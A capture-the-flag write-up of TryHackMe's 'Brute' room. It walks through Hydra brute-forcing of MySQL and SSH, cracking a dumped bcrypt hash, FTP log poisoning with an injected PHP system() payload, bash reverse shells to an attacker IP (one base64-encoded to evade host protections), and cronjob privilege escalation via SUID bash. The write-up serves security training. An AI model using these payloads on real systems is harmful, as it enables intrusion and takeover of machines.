Brute is a medium rated CTF room on TryHackMe. Rooting this box - which centers around brute-force attacks, as its name implies - involves carrying out a successful dictionary attacks, database enumeration, log poisoning, hash cracking, and cronjob-based privilege escalation.   Note: I have replaced all instances of the virtual machine’s ip address with <target-ip> throughout this write-up.



21/tcp   open  ftp     syn-ack ttl 61 vsftpd 3.0.3

22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)

3306/tcp open  mysql   syn-ack ttl 61 MySQL 8.0.28-0ubuntu0.20.04.3

[*] Identified service nl-voice on tcp/1259 on <target-ip>

Our initial nmap efforts reveal standard vsftp(port 21) and OpenSSH (port 22), and MySQL (port 3306) services running on the box. Additionally, our scans picked up activity on port 1259, which was tagged as nl-voice. This may be worth returning to later, if we need additional leads.

MySQL - Port 3306


8.0.28-0ubuntu0.20.04.3�Ñ:��{Q;  nLG�ÿÿÿ �ÿß ����������uqZW
O6[]707�caching_sha2_password�!�� ÿ„ #08S01Got packets out of order

Visiting the MySQL server port in our browser returns the above. This intial enumeration could also have been achieved via tools like netcat. We note that the contents of the message displayed match nmap’s service version identification of MySQL 8.0.28-0ubuntu0.20.04.3.


While we haven’t come across any immediate evidence to confirm this, our CTF experience and instincts tell us that it will be worth our while to attempt logging in with default and/or commonly used credentials. MySQL’s default user configuration uses root as the username, with no password. While we aren’t quite that lucky, our initial brute-force efforts yield the correct password.


hydra -f -t 4 -V -l root -P /usr/share/wordlists/rockyou.txt <target-ip>mysql

$ hydra -f -t 4 -V -l root -P /usr/share/wordlists/rockyou.txt <target-ip>mysql | sudo tee hydra-mysql.txt
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-03 13:01:07
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking mysql://
[ATTEMPT] target <target-ip>- login "root" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "princess" - 6 of 14344399 [child 0] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "1234567" - 7 of 14344399 [child 2] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "r-----u" - 8 of 14344399 [child 3] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "12345678" - 9 of 14344399 [child 1] (0/0)
[ATTEMPT] target <target-ip>- login "root" - pass "abc123" - 10 of 14344399 [child 0] (0/0)
[3306][mysql] host: <target-ip>👍  login: root   password: r-----u👍
[STATUS] attack finished for <target-ip>(valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-03 13:01:10

Enumeration - MySQL

Now that we have valid credentials for accessing the MySQL database, let’s see what we can find…


mysql -h <target-ip>-u root -p

$ mysql -h <target-ip>-u root -p
Enter password: r-----u

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 31
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
MySQL [(none)]> show databases;
| Database           |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| website            |
5 rows in set (0.098 sec)

use website;

MySQL [(none)]> use website;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

show tables;

MySQL [website]> show tables;
| Tables_in_website |
| users             |
1 row in set (0.090 sec)

select * from users;

MySQL [website]> select * from users;
| id | username | password                                                     | created_at          |
|  1 | adrian   | $2y$10$tLzQuuQ.h6zBuX8dV83zmu9pFlGt3EF9gQO4aJ8KdnSYxz0SKn4we | 2021-10-20 02:43:42 |
1 row in set (0.096 sec)

Excellent! We’ve found some user credentials, including a hashed password -adrian:$2y$10$tLzQuuQ.h6zBuX8dV83zmu9pFlGt3EF9gQO4aJ8KdnSYxz0SKn4we. Let’s try to crack it with John the Ripper.

John the Ripper

$ john --wordlist=/usr/share/wordlists/rockyou.txt adrian_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
👍t----r           (?)     👍
1g 0:00:00:00 DONE (2022-08-03 13:06) 4.166g/s 150.0p/s 150.0c/s 150.0C/s 123456..jordan
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Our friend John made short work of this, despite Blowfish being a relatively uncommon cipher (having been largely eclipsed by AES - more information here.)


Web login

After logging in to the homepage with our discovered credentials…

We are greeted by this page. The log button gives us convenient access to a service log right on the page. After some brief consideration, we identify this log as being produced by the FTP server running on port 21 of the box. Our initial attempts at enumeration/access have already populated the log!   view-source:http://<target-ip>/welcome.php

<!DOCTYPE html>
<html lang="en">
    <meta charset="UTF-8">
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
        body{ font: 14px sans-serif; text-align: center; }
    <h1 class="my-5">Welcome back adrian, Your log file is ready for viewing.</h1>
    Wed Aug  3 17:11:34 2022 [pid 1426] CONNECT: Client "::ffff:<attacker-ip>"
Wed Aug  3 17:11:38 2022 [pid 1425] [virtualtack] FAIL LOGIN: Client "::ffff:<attacker-ip>"
Wed Aug  3 17:11:46 2022 [pid 1466] CONNECT: Client "::ffff:<attacker-ip>"
Wed Aug  3 17:11:53 2022 [pid 1465] [adrian] FAIL LOGIN: Client "::ffff:<attacker-ip>"
<br>    <br> 
    <form action="" method="post">
        <input type="submit" name="log" value="Log">	
        <a href="logout.php" class="btn btn-danger ml-3">Sign Out of Your Account</a>

My first instinct here is to try some log poisioning. Here are the steps that I used to successfully realize the attack:

1.Capture the log request using Burp Suite

2. Inject PHP system request code We can do this easily via log-in attempts, simply replacing our username in the request with a PHP system request (<?php echo system($_REQUEST['loljection']); ?>).

$ ftp <target-ip>
Connected to <target-ip>.
220 (vsFTPd 3.0.3)
Name (<target-ip>:virtualtack): beep boop <?php echo system($_REQUEST['loljection']); ?> beep boop
331 Please specify the password.
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

This will create a new entry in the log, allowing us to make an HTTP request via Burp with a system command in the format of loljection=<command>. The output of our command arguments can then be viewed:


Now that we have a PoC of the log poisoning vector, we can set up our netcat listener - nc -lvnp <port> - and execute our remote shell command (bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' ) via HTTP request.

✂️ ................................ ✂️

log=Log&loljection=bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' 

Note: Before sending this request via Burp, we need to URL Encode it by highlighting the bash command and pressing CTRL+U.

…and we get a reverse shell for our efforts.

$ sudo nc -l 9002
bash: cannot set terminal process group (784): Inappropriate ioctl for device
bash: no job control in this shell
www-data@brute:/var/www/html$ whoami

This gives us access to the machine as the www-data account. After a moment spent upgrading our shell, we can move on.


Now that we have remote access, let’s take a look around…

Since our on-ramp was a web app, let’s check out /var/www/


/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'adrian');
define('DB_PASSWORD', 'P@sswr0d789!');
define('DB_NAME', 'website');

/* Attempt to connect to MySQL database */

// Check connection
if($mysqli === false){
    die("ERROR: Could not connect. " . $mysqli->connect_error);

Unfortunately the credentials here don’t appear to be reused elsewhere, which I hoped would give us access to adrian’s user account on the machine. However, if we need an additional escalation vector later, these MySQL database credentials may be useful. For now, though, let’s move on to the /home/ directory.


www-data@brute:/home/adrian$ cat .reminder

best of 64
+ exclamation


Luckily we have access to adrian’s home folder as www-user. Inside, we find a hidden file called .reminder with some hints on how to proceed.


As user www-data

When searching the internet for “rules AND best of 64”, the first result points to best64.rule on the Hashcat GitHub repository. I happen to be more familiar with John the Ripper to create custom wordlists, so I’ll be using that instead. We will create a new wordlist, using the best of 64 rule in conjuction with our password hint ettubrute.

Create ‘Best of 64’ password list with John

john --rules=best64 --wordlist=password.txt --stdout > wordlist.txt

Now we have wordlist.txt, which uses our best of 64 rule to mangle ettubrute, but we need to account for the + exclamation line of our hint. While we could manually add a ! to the end of each entry in our list, we can do it properly with the sed command for the sake of learning.

Add ! to end of wordlist entries

sed -i 's/$/!/' wordlist.txt

Now our wordlist accounts for both hints. It looks like:

$ cat wordlist.txt
✂️ ................................ ✂️

Now we should be able use this wordlist to crack the SSH password of the adrian user via Hydra.

hydra -f -V -l adrian -P wordlist.txt -e nsr -s 22 ssh://<target-ip>
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-28 16:28:40
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 78 login tries (l:1/p:78), ~5 tries per task
[DATA] attacking ssh://<target-ip>:22/
[ATTEMPT] target <target-ip> - login "adrian" - pass "adrian" - 1 of 78 [child 0] (0/0)
✂️ ................................ ✂️
[ATTEMPT] target <target-ip> - login "adrian" - pass "t-----------!" - 45 of 80 [child 1] (0/2)
[22][ssh] host: <target-ip>   login: adrian   password: t-----------!
[STATUS] attack finished for <target-ip> (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-28 16:28:50

Excelllent. We now have valid user account credentials for SSH access: adrian:t-----------!

As user adrian

Exploring the user’s home directory, we come across another hint, as well as two bash script (.sh) files.


That silly admin
He is such a micro manager, wants me to check in every minute by writing on my punch card.

He even asked me to write the script for him.

Little does he know, I am planning my revenge.


while read line;
  /usr/bin/sh -c "echo $line";
done < /home/adrian/punch_in



/usr/bin/echo 'Punched in at '$(/usr/bin/date +"%H:%M") >> /home/adrian/punch_in

Looking for a quick win, I began adding reverse shell code to various locations in the script file(s). This yielded very little, though I was able to initiate a reverse shell callback as the adrian user via ~/ftp/files/script. From this, we know that our attacking machine is reachable, and that there are no prohibitive antivirus to account for.

From the .notes hint, we know/can assume that punch_in.sh is being run by the root user (e.g., the author’s boss). If this is true, the script is pulling each line from punch_in, and running the line as a shell command (/usr/bin/sh -c <line-here>).

Thus, if my hypothesis is correct, we can effectively run commands as root by passing them into the scheduled punch_in.sh via punch_in. This means that we have a few routes to root (🙃). I highlight two below:

Method 1 - Setting the SUID Bit

The easiest and most direct route to root escalation is by adding the SUID bit to the machine’s bash binary, allowing it to be run by all users with elevated permissions.

This can be done by adding a line containing `chmod +s /bin/bash` to punch_in. When the punch_in.sh script runs and ingests our command to execute, we will gain the ability to run bash as root.

Note: Commands placed in punch_in must be wrapped in backticks (` `) for the script to interpret it correctly.

As shown on GTFOBins, with the SUID bit set, bash simply needs to be run with the -p flag to invoke/preserve elevated permissions.

adrian@brute:~$ bash -p
bash-5.0# whoami
bash-5.0# cat /root/root.txt

Method 2 - Reverse Shell

Alternatively, we can spawn a reverse shell on our attacking machine by injecting the relevant reverse shell code. I chose to use a base64 encoded command, as it can potentially sidestep host-based protections and other pitfalls with little intial time investment.

Bash reverse shell

/bin/bash -i >& /dev/tcp/<attacker-ip>/9111 0>&1

Base64 encoded/decoded bash reverse shell

`echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL215dGhtaXAvOTExMSAwPiYx+JjE=" | base64 -d | bash`
$ nc -lvnp 9111
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9111
Ncat: Listening on
Ncat: Connection from <target-ip>.
Ncat: Connection from <target-ip>:59158.
bash: cannot set terminal process group (3423): Inappropriate ioctl for device
bash: no job control in this shell
root@brute:~# whoami
root@brute:~# cat /root/root.txt
cat /root/root.txt

Lessons Learned

This was a really enjoyable box, with several opportunities to practice and refine my methodology.

  • FTP log poisoning - while we didn’t have to hunt down a service log file via LFI or another web-app-based vector, this box helped me to expand my understanding and methodology. This was one of the first log poisoning vectors I have encountered related to an FTP service, instead of Apache, as is frequently the case.
  • Password mangling with Rules (John) - this box provided a great refresher on the generation of (password) wordlists via Hashcat/John/etc. rulesets.
  • Encoding and “best practices” - After completing the box, I went back to check if the reverse shell code would execute absent base64 encoding. I couldn’t get it to. Thus, this box provided solid reinforcement of best practices in my developing methodology, as encoding the code “cost” me little (in terms of time) but yielded a successful privilege escalation.